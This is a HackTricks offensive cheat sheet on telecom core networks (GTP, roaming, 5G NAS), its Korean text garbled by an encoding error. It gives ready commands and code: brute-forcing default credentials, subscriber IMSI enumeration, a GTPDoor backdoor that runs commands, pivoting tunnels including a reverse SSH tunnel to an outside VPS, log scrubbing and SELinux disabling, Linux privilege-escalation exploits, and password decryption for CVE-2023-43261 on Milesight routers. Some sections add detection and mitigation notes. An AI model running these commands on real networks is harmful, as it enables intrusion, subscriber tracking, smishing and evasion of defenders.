Telecom Network Exploitation (GTP / Roaming Environments)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Note
๋ชจ๋ฐ์ผ ์ฝ์ด ํ๋กํ ์ฝ (GPRS Tunnelling Protocol โ GTP)์ ์ข ์ข ์ ๋ขฐ๋๊ฐ ๋ถ๋ถ์ ์ธ GRX/IPX ๋ก๋ฐ ๋ฐฑ๋ณธ์ ํต๊ณผํฉ๋๋ค. ์ด๋ค์ด ๊ฑฐ์ ์ธ์ฆ ์์ด ํ๋ฌธ UDP ์์์ ๋์ํ๊ธฐ ๋๋ฌธ์, ํต์ ๋ง ๊ฒฝ๊ณ ๋ด๋ถ์ ์ด๋ค foothold๋ ๋ณดํต ์ฝ์ด signalling plane์ ์ง์ ์ ๊ทผํ ์ ์์ต๋๋ค. ์๋์ ๋ฉ๋ชจ๋ SGSN/GGSN, PGW/SGW ๋ฐ ๊ธฐํ EPC ๋ ธ๋์ ๋ํด ์ผ์์์ ๊ด์ฐฐ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ๋ค์ ์์งํ ๊ฒ์ ๋๋ค.
1. ์ ์ฐฐ ๋ฐ ์ด๊ธฐ ์ ๊ทผ
1.1 ๊ธฐ๋ณธ OSS / NE ๊ณ์
์๋น์์ ๋ฒค๋ ๋คํธ์ํฌ ์์๋ root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, โฆ ์ ๊ฐ์ ํ๋์ฝ๋ฉ๋ SSH/Telnet ์ฌ์ฉ์๋ฅผ ํ์ฌํ ์ฑ๋ก ์ถ๊ณ ๋ฉ๋๋ค. ์ ์ฉ ์๋๋ฆฌ์คํธ๋ ๋ฌด์ฐจ๋ณ ๋์
์ฑ๊ณต๋ฅ ์ ํฌ๊ฒ ๋์
๋๋ค:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
์ฅ์น๊ฐ ๊ด๋ฆฌ VRF๋ง ๋ ธ์ถํ๋ ๊ฒฝ์ฐ, ๋จผ์ jump host๋ฅผ ํตํด pivotํ์ธ์ (์๋ ์น์ ยซSGSN Emu Tunnelยป ์ฐธ์กฐ).
1.2 GRX/IPX ๋ด๋ถ ํธ์คํธ ๊ฒ์
๋๋ถ๋ถ์ GRX ์ฌ์
์๋ค์ ์ฌ์ ํ ๋ฐฑ๋ณธ ์ ๋ฐ์ ๊ฑธ์ณ ICMP echo๋ฅผ ํ์ฉํฉ๋๋ค. masscan์ ๋ด์ฅ gtpv1 UDP ํ๋ก๋ธ๋ฅผ ๊ฒฐํฉํ์ฌ GTP-C listeners๋ฅผ ๋น ๋ฅด๊ฒ ๋งคํํ์ธ์:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. ๊ฐ์
์ ์ด๊ฑฐ โ cordscan
๋ค์ Go ๋๊ตฌ๋ GTP-C Create PDP Context Request ํจํท์ ์์ฑํ๊ณ ์๋ต์ ๊ธฐ๋กํฉ๋๋ค. ๊ฐ ์๋ต์ ์กฐํ๋ IMSI์ ์๋น์ค๋ฅผ ์ ๊ณตํ๋ ํ์ฌ SGSN / MME๋ฅผ ์๋ ค์ฃผ๋ฉฐ, ๋๋ก๋ ๊ฐ์ ์๊ฐ ๋ฐฉ๋ฌธํ PLMN์ ๋ณด์ฌ์ฃผ๊ธฐ๋ ํฉ๋๋ค.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Key flags:
--imsi๋์ ๊ฐ์ ์ IMSI--operํ / HNI (MCC+MNC)-w์์ ํจํท์ pcap์ ๊ธฐ๋ก
๋ฐ์ด๋๋ฆฌ ๋ด๋ถ์ ์ค์ํ ์์๋ฅผ ํจ์นํ์ฌ ์ค์บ ๋ฒ์๋ฅผ ๋ํ ์ ์์ต๋๋ค:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. GTP๋ฅผ ํตํ ์ฝ๋ ์คํ โ GTPDoor
GTPDoor๋ ์์ ELF ์๋น์ค๋ก UDP 2123์ ๋ฐ์ธ๋ํ๊ณ ๋ค์ด์ค๋ ๋ชจ๋ GTP-C ํจํท์ ํ์ฑํฉ๋๋ค. ํ์ด๋ก๋๊ฐ ์ฌ์ ๊ณต์ ํ๊ทธ๋ก ์์ํ๋ฉด ๋๋จธ์ง๋ ๋ณตํธํ (AES-128-CBC)๋์ด /bin/sh -c๋ก ์คํ๋ฉ๋๋ค. stdout/stderr๋ Echo Response ๋ฉ์์ง๋ก exfiltrated๋์ด ์ธ๋ถ ์ธ์
์ด ์ ํ ์์ฑ๋์ง ์์ต๋๋ค.
Minimal PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detection:
- ์ด๋ค ํธ์คํธ๊ฐ SGSN IPs๋ก unbalanced Echo Requests๋ฅผ ์ ์กํ๋ ๊ฒฝ์ฐ
- GTP version flag๊ฐ 1๋ก ์ค์ ๋์ด ์๊ณ message type = 1 (Echo)์ผ ๋ โ ๊ท๊ฒฉ์์ ๋ฒ์ด๋จ
4. ์ฝ์ด๋ฅผ ํตํ Pivoting
4.1 sgsnemu + SOCKS5
OsmoGGSN๋ ์ค์ GGSN/PGW๋ฅผ ํฅํด PDP context๋ฅผ ์ค์ ํ ์ ์๋ SGSN emulator๋ฅผ ์ ๊ณตํฉ๋๋ค. ํ์์ด ์๋ฃ๋๋ฉด, Linux๋ ๋ก๋ฐ ํผ์ด์์ ์ ๊ทผ ๊ฐ๋ฅํ ์๋ก์ด tun0 ์ธํฐํ์ด์ค๋ฅผ ๋ฐ์ต๋๋ค.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
์ ์ ํ firewall hair-pinning์ด ์์ผ๋ฉด, ์ด ํฐ๋์ signalling-only VLANs๋ฅผ ์ฐํํ์ฌ ์ง์ ๋ฐ์ดํฐ ํ๋ ์ธ์ ๋๋ฌํฉ๋๋ค.
4.2 SSH Reverse Tunnel over Port 53
DNS๋ ๋ก๋ฐ ์ธํ๋ผ์์ ๊ฑฐ์ ํญ์ ์ด๋ ค ์์ต๋๋ค. ๋ด๋ถ SSH ์๋น์ค๋ฅผ VPS์์ :53์ผ๋ก ๋ฆฌ์ค๋ํ๋๋ก ๋ ธ์ถ์ํค๊ณ , ๋์ค์ ์ง์์ ๋ค์ ์ ์ํ์ธ์:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
VPS์์ GatewayPorts yes๊ฐ ํ์ฑํ๋์ด ์๋์ง ํ์ธํ์ธ์.
5. ์๋ฐ ์ฑ๋
| Channel | Transport | Decoding | Notes |
|---|---|---|---|
ICMP โ EchoBackdoor | ICMP Echo Req/Rep | 4๋ฐ์ดํธ ํค + 14๋ฐ์ดํธ ์ฒญํฌ (XOR) | ์์ ์๋ ๋ฆฌ์ค๋, ์์๋ฐ์ด๋ ํธ๋ํฝ ์์ |
DNS โ NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) ๊ฐ A-๋ ์ฝ๋ ์ฅํ
์ ์ธ์ฝ๋ฉ๋จ | *.nodep ์๋ธ๋๋ฉ์ธ์ ๊ฐ์ํจ |
GTP โ GTPDoor | UDP 2123 | private IE์ AES-128-CBC ๋ธ๋กญ | ์ ์ GTP-C ํต์ ๊ณผ ์์ฌ ๋์ ๋์ง ์์ |
All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.
6. ๋ฐฉ์ด ํํผ ์นํธ์ํธ
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. ๊ตฌํ NE์์์ Privilege Escalation
# DirtyCow โ CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit โ CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit โ CVE-2021-3156
python3 exploit_userspec.py
์ ๋ฆฌ ํ:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan,GTPDoor,EchoBackdoor,NoDepDNSโ custom tooling described in previous sections.FScan: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: lightweight SOCKS5 pivotingFRP(โฅ0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
5G ๋ฑ๋ก ์ ์ฐจ๋ NGAP ์์์ NAS(Non-Access Stratum)๋ก ์คํ๋๋ค. Security Mode Command/Complete๋ก NAS ๋ณด์์ด ํ์ฑํ๋๊ธฐ ์ ๊น์ง ์ด๊ธฐ ๋ฉ์์ง๋ ์ธ์ฆยท์ํธํ๋์ง ์๋๋ค. ์ด ๋ณด์ ์ ์ฐฝ์ N2 ํธ๋ํฝ์ ๊ด์ฐฐํ๊ฑฐ๋ ๋ณ์กฐํ ์ ์๋ ๊ฒฝ์ฐ(์: ์ฝ์ด ๋ด๋ถ์ on-path, rogue gNB, ํ ์คํธ๋ฒ ๋) ์ฌ๋ฌ ๊ณต๊ฒฉ ๊ฒฝ๋ก๋ฅผ ํ์ฉํ๋ค.
๋ฑ๋ก ํ๋ฆ(๋จ์ํ):
- Registration Request: UE๊ฐ SUCI(์ํธํ๋ SUPI)์ capabilities๋ฅผ ์ ์กํ๋ค.
- Authentication: AMF/AUSF๊ฐ RAND/AUTN์ ๋ณด๋ด๊ณ ; UE๋ RES*๋ฅผ ๋ฐํํ๋ค.
- Security Mode Command/Complete: NAS ๋ฌด๊ฒฐ์ฑ๊ณผ ์ํธํ๊ฐ ํ์๋์ด ํ์ฑํ๋๋ค.
- PDU Session Establishment: IP/QoS ์ค์ .
๋ฉ ์ค์ ํ (๋น-RF):
- Core: Open5GS ๊ธฐ๋ณธ ๋ฐฐํฌ๋ก ํ๋ฆ ์ฌํ์ ์ถฉ๋ถํ๋ค.
- UE: ์๋ฎฌ๋ ์ดํฐ ๋๋ ํ ์คํธ UE; Wireshark๋ก ๋์ฝ๋.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Wireshark์์ ์ ์ฉํ display filter:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
์์: UE/USIM์ SUCI(ํ ๋คํธ์ํฌ ๊ณต๊ฐํค๋ก ์ํธํ๋ SUPI)๋ฅผ ์ ์กํด์ผ ํ๋ค. Registration Request์์ ํ๋ฌธ SUPI/IMSI๋ฅผ ์ฐพ์ผ๋ฉด ์ง์์ ์ธ ๊ฐ์ ์ ์ถ์ ์ ๊ฐ๋ฅํ๊ฒ ํ๋ ํ๋ผ์ด๋ฒ์ ๊ฒฐํจ์ ์๋ฏธํ๋ค.
ํ ์คํธ ๋ฐฉ๋ฒ:
- InitialUEMessage์์ ์ฒซ ๋ฒ์งธ NAS ๋ฉ์์ง๋ฅผ ์บก์ฒํ๊ณ Mobile Identity IE๋ฅผ ๊ฒ์ฌํ๋ค.
- Wireshark ๋น ๋ฅธ ํ์ธ:
- SUCI๋ก ๋์ฝ๋๋์ด์ผ ํ๋ฉฐ IMSI๊ฐ ๋์ด์๋ ์ ๋๋ค.
- ํํฐ ์์:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci๊ฐ ์กด์ฌํด์ผ ํ๋ค; ๋ถ์ฌํ๊ณimsi๊ฐ ์กด์ฌํ๋ฉด ์ ์ถ์ ๋ํ๋ธ๋ค.
์์ง ํญ๋ชฉ:
- ๊ณต๊ฐ๋ ๊ฒฝ์ฐ MCC/MNC/MSIN; UE๋ณ๋ก ๊ธฐ๋กํ๊ณ ์๊ฐ/์์น์ ๋ฐ๋ผ ์ถ์ ํ๋ค.
์ํ:
- SUCI ์ ์ฉ UE/USIM ๊ฐ์ ; ์ด๊ธฐ NAS์์ IMSI/SUPI๊ฐ ๋ฐ๊ฒฌ๋๋ฉด ๊ฒฝ๊ณ ํ๋ค.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
๋ฐฐ๊ฒฝ:
- UE๋ Registration Request์ UE Security Capability IE์์ ์ง์ํ๋ EEA(์ํธํ) ๋ฐ EIA(๋ฌด๊ฒฐ์ฑ)๋ฅผ ๊ด๊ณ ํ๋ค.
- ์ผ๋ฐ ๋งคํ: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0๋ null ์๊ณ ๋ฆฌ์ฆ์ด๋ค.
๋ฌธ์ :
- Registration Request๊ฐ ๋ฌด๊ฒฐ์ฑ ๋ณดํธ๋์ง ์๊ธฐ ๋๋ฌธ์, on-path ๊ณต๊ฒฉ์๋ capability ๋นํธ๋ฅผ ์ญ์ ํ์ฌ Security Mode Command ๋์ ์ดํ์ EEA0/EIA0 ์ ํ์ ๊ฐ์ ํ ์ ์๋ค. ์ผ๋ถ ์คํ์ ๋น์ ์๋น์ค๊ฐ ์๋ ๊ฒฝ์ฐ์๋ ์๋ชปํ์ฌ null ์๊ณ ๋ฆฌ์ฆ์ ํ์ฉํ๋ค.
๊ณต๊ฒฉ ๋จ๊ณ:
- InitialUEMessage๋ฅผ ๊ฐ๋ก์ฑ NAS UE Security Capability๋ฅผ ์ค์ง EEA0/EIA0๋ง ๊ด๊ณ ํ๋๋ก ์์ ํ๋ค.
- Sni5Gect๋ก NAS ๋ฉ์์ง๋ฅผ ํ ํ๊ณ ์ ๋ฌ ์ ์ capability ๋นํธ๋ฅผ ํจ์นํ๋ค.
- AMF๊ฐ null ์ํธ/๋ฌด๊ฒฐ์ฑ์ ์๋ฝํ๊ณ EEA0/EIA0๋ก Security Mode๋ฅผ ์๋ฃํ๋์ง ๊ด์ฐฐํ๋ค.
๊ฒ์ฆ/๊ฐ์์ฑ:
- Wireshark์์ Security Mode Command/Complete ์ดํ ์ ํ๋ ์๊ณ ๋ฆฌ์ฆ์ ํ์ธํ๋ค.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
์ํ ์กฐ์น(ํ์):
- AMF/policy๋ฅผ ๊ตฌ์ฑํ์ฌ (์: ๊ธด๊ธ ํตํ ๋ฑ) ์๊ฒฉํ ์๊ตฌ๋๋ ๊ฒฝ์ฐ๋ฅผ ์ ์ธํ๊ณ EEA0/EIA0๋ฅผ ๊ฑฐ๋ถํ๋๋ก ํ์ธ์.
- ๊ฐ๋ฅํ๋ฉด ์ต์ํ EEA2/EIA2๋ฅผ ์ ์ฉํ๋๋ก ํ๊ณ ; null algorithms์ ํ์ํ๋ ๋ชจ๋ NAS ๋ณด์ ์ปจํ ์คํธ์ ๋ํด ๋ก๊น ๋ฐ ๊ฒฝ๋ณด๋ฅผ ์ค์ ํ์ธ์.
9.3 ์ด๊ธฐ Registration Request ์ฌ์ (pre-security NAS)
์ด๊ธฐ NAS๋ ๋ฌด๊ฒฐ์ฑ๊ณผ ์ ์ ๋๊ฐ ์์ผ๋ฏ๋ก, ์บก์ฒํ InitialUEMessage+Registration Request๋ฅผ AMF๋ก ์ฌ์ํ ์ ์์ต๋๋ค.
์ผ์นํ๋ ์ฌ์์ ์ ๋ฌํ๊ธฐ ์ํ 5GReplay์ฉ PoC ๊ท์น:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: AMF/SMF/UPF๋ฅผ ๋์ core๋ฅผ ์๋ฎฌ๋ ์ดํธํ๊ณ N2 (NGAP) ๋ฐ NAS๋ฅผ ๊ด์ฐฐ.
- Wireshark: NGAP/NAS์ ๋์ฝ๋ฉ์ ํ์ธ; ์์ ํํฐ๋ฅผ ์ ์ฉํด Registration์ ๋ถ๋ฆฌ.
- 5GReplay: Registration์ ์บก์ฒํ ํ ๊ท์น์ ๋ฐ๋ผ ํน์ NGAP + NAS ๋ฉ์์ง๋ฅผ replay.
- Sni5Gect: NAS control-plane์ ์ค์๊ฐ์ผ๋ก sniff/modify/injectํ์ฌ null algorithms์ ๊ฐ์ ํ๊ฑฐ๋ ์ธ์ฆ ์ํ์ค๋ฅผ ๊ต๋.
9.5 Defensive checklist
- Registration Request๋ฅผ ์ง์์ ์ผ๋ก ๊ฒ์ฌํ์ฌ ํ๋ฌธ SUPI/IMSI๊ฐ ๋ ธ์ถ๋๋์ง ํ์ธ; ๋ฌธ์ ๊ฐ ๋๋ ์ฅ์น/USIM์ ์ฐจ๋จ.
- EEA0/EIA0๋ ์๊ฒฉํ ์ ์๋ ๋น์ ์ ์ฐจ๋ฅผ ์ ์ธํ๊ณ ๊ฑฐ๋ถ; ์ต์ EEA2/EIA2 ์๊ตฌ.
- ๋ฌด๋จ gNB/AMF, ์์์น ๋ชปํ N2 ํผ์ด ๋ฑ ์ ์ฑ ๋๋ ์๋ชป ๊ตฌ์ฑ๋ ์ธํ๋ผ๋ฅผ ํ์ง.
- null algorithms๋ฅผ ์ด๋ํ๊ฑฐ๋ InitialUEMessage์ ๋น๋ฒํ ์ฌ์(replays)์ด ๋ฐ์ํ๋ NAS ๋ณด์ ๋ชจ๋์ ๋ํด ๊ฒฝ๋ณด.
10. Industrial Cellular Routers โ Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
์ฐ์
์ฉ ์
๋ฃฐ๋ฌ ๋ผ์ฐํฐ์ ๋
ธ์ถ๋ web API๋ฅผ ์
์ฉํ๋ฉด ์๋ฐํ ํต์ ์ฌ ์ถ์ฒ์ smishing์ ๋๊ท๋ชจ๋ก ์ํํ ์ ์๋ค. Milesight UR ์๋ฆฌ์ฆ ๋ผ์ฐํฐ๋ /cgi์ JSON-RPC ์คํ์ผ์ ์๋ํฌ์ธํธ๋ฅผ ๋
ธ์ถํ๋ค. ์๋ชป ๊ตฌ์ฑ๋ ๊ฒฝ์ฐ, ์ด API๋ ์ธ์ฆ ์์ด ์ฟผ๋ฆฌ๋์ด SMS inbox/outbox๋ฅผ ๋์ดํ๊ฑฐ๋ ์ผ๋ถ ๋ฐฐํฌ์์๋ SMS๋ฅผ ์ ์กํ ์ ์๋ค.
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
์๋ต์๋ timestamp, content, phone_number (E.164), ๊ทธ๋ฆฌ๊ณ status (success ๋๋ failed) ๊ฐ์ ํ๋๊ฐ ํฌํจ๋ฉ๋๋ค. ๋์ผํ ๋ฒํธ๋ก์ ๋ฐ๋ณต๋ failed ์ ์ก์ ์ข
์ข
attacker์ โcapability checksโ๋ก, blasting ์ ์ ๋ผ์ฐํฐ/SIM์ด ์ ๋ฌ ๊ฐ๋ฅํ์ง ํ์ธํ๊ธฐ ์ํ ๊ฒ์
๋๋ค.
SMS ๋ฉํ๋ฐ์ดํฐ๋ฅผ exfiltrateํ๊ธฐ ์ํ ์์ curl:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
auth artifacts์ ๋ํ ๋ ธํธ:
- ์ผ๋ถ ํธ๋ํฝ์๋ auth cookie๊ฐ ํฌํจ๋ ์ ์์ง๋ง, ๊ด๋ฆฌ ์ธํฐํ์ด์ค๊ฐ Internet-facing์ผ ๋ ๋
ธ์ถ๋ ์ฅ์น์ ์๋น ๋ถ๋ถ์
query_inbox/query_outbox์ ๋ํด ์๋ฌด ์ธ์ฆ ์์ด ์๋ตํ๋ค. - ์ธ์ฆ์ ์๊ตฌํ๋ ํ๊ฒฝ์์๋ previously-leaked credentials (see below)๊ฐ ์ ๊ทผ์ ๋ณต์ํ๋ค.
Credential recovery path โ CVE-2023-43261:
- ์ํฅ๋ฐ๋ ์ ํ๊ตฐ: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- ๋ฌธ์ : web-served logs (์:
httpd.log)๊ฐ/lang/log/์๋์์ ์ธ์ฆ ์์ด ์ ๊ทผ ๊ฐ๋ฅํ๋ฉฐ, ํด๋ผ์ด์ธํธ ์ธก JavaScript์ ์กด์ฌํ๋ ํ๋์ฝ๋ฉ๋ AES key/IV๋ก ์ํธํ๋ password๋ฅผ ํฌํจํ admin login events๋ฅผ ๋ด๊ณ ์๋ค. - Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
leaked ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณตํธํํ๊ธฐ ์ํ ์ต์ํ์ Python (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
ํํ ๋ฐ ํ์ง ์์ด๋์ด (๋คํธ์ํฌ):
- ์ธ์ฆ๋์ง ์์
POST /cgi์์ฒญ์ JSON ๋ฐ๋์base/function์ดquery_inbox๋๋query_outbox๋ก ์ค์ ๋ ๊ฒฝ์ฐ ๊ฒฝ๋ณด. - ๊ฐ์ ์ถ๋ฐ์ง IP์์ ์ฌ๋ฌ ๊ณ ์ ๋ฒํธ์ ๊ฑธ์ณ
status":"failed"ํญ๋ชฉ์ด ๋ค๋ฐ๋ฅด๋ ๋ฐ๋ณต์ ์ธPOST /cgiํญ์ฃผ๋ฅผ ์ถ์ (capability testing). - ์ธํฐ๋ท์ ๋ ธ์ถ๋ Milesight ๋ผ์ฐํฐ๋ฅผ ๋ชฉ๋กํ; ๊ด๋ฆฌ ์ ๊ทผ์ VPN์ผ๋ก ์ ํ; ํ์ํ์ง ์์ผ๋ฉด SMS ๊ธฐ๋ฅ ๋นํ์ฑํ; โฅ v35.3.0.7๋ก ์ ๊ทธ๋ ์ด๋; ์๊ฒฉ ์ฆ๋ช ๊ต์ฒด ๋ฐ ์ ์ ์๋ ๋ฐ์ ์ ๋ํ SMS ๋ก๊ทธ ๊ฒํ .
Shodan/OSINT pivots (examples seen in the wild):
http.html:"rt_title"matches Milesight router panels.- Google dorking for exposed logs:
"/lang/log/system" ext:log.
Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.
ํ์ง ์์ด๋์ด
- SGSN/GGSN ์ด์ธ์ ์ด๋ค ์ฅ์น๊ฐ Create PDP Context Requests๋ฅผ ์์ฑํ๋ ๊ฒฝ์ฐ.
- ๋ด๋ถ IP์์ Non-standard ports (53, 80, 443)์ผ๋ก SSH handshakes๋ฅผ ์์ ํ๋ ๊ฒฝ์ฐ.
- ์์ํ๋ Echo Responses ์์ด ๋น๋ฒํ Echo Requests โ GTPDoor ๋น์ปจ์ผ ๊ฐ๋ฅ์ฑ.
- ์๋ณ์/์ํ์ค ํ๋๊ฐ ํฌ๊ณ 0์ด ์๋ ๊ฐ์ธ ICMP echo-reply ํธ๋ํฝ์ ๋์ ๋น์จ.
- 5G: InitialUEMessage๊ฐ ๋์ผ ์๋ํฌ์ธํธ์์ ๋ฐ๋ณต๋๋ NAS Registration Requests๋ฅผ ํฌํจํ๋ ๊ฒฝ์ฐ (replay signal).
- 5G: ๋น์๊ธ ์ํฉ์์ NAS Security Mode๊ฐ EEA0/EIA0๋ฅผ ํ์ํ๋ ๊ฒฝ์ฐ.
์ฐธ์กฐ
- Palo Alto Unit42 โ Infiltration of Global Telecom Networks
- 3GPP TS 29.060 โ GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 โ GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 โ Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 โ Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 โ NVD
- CVE-2023-43261 PoC (win3zz)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


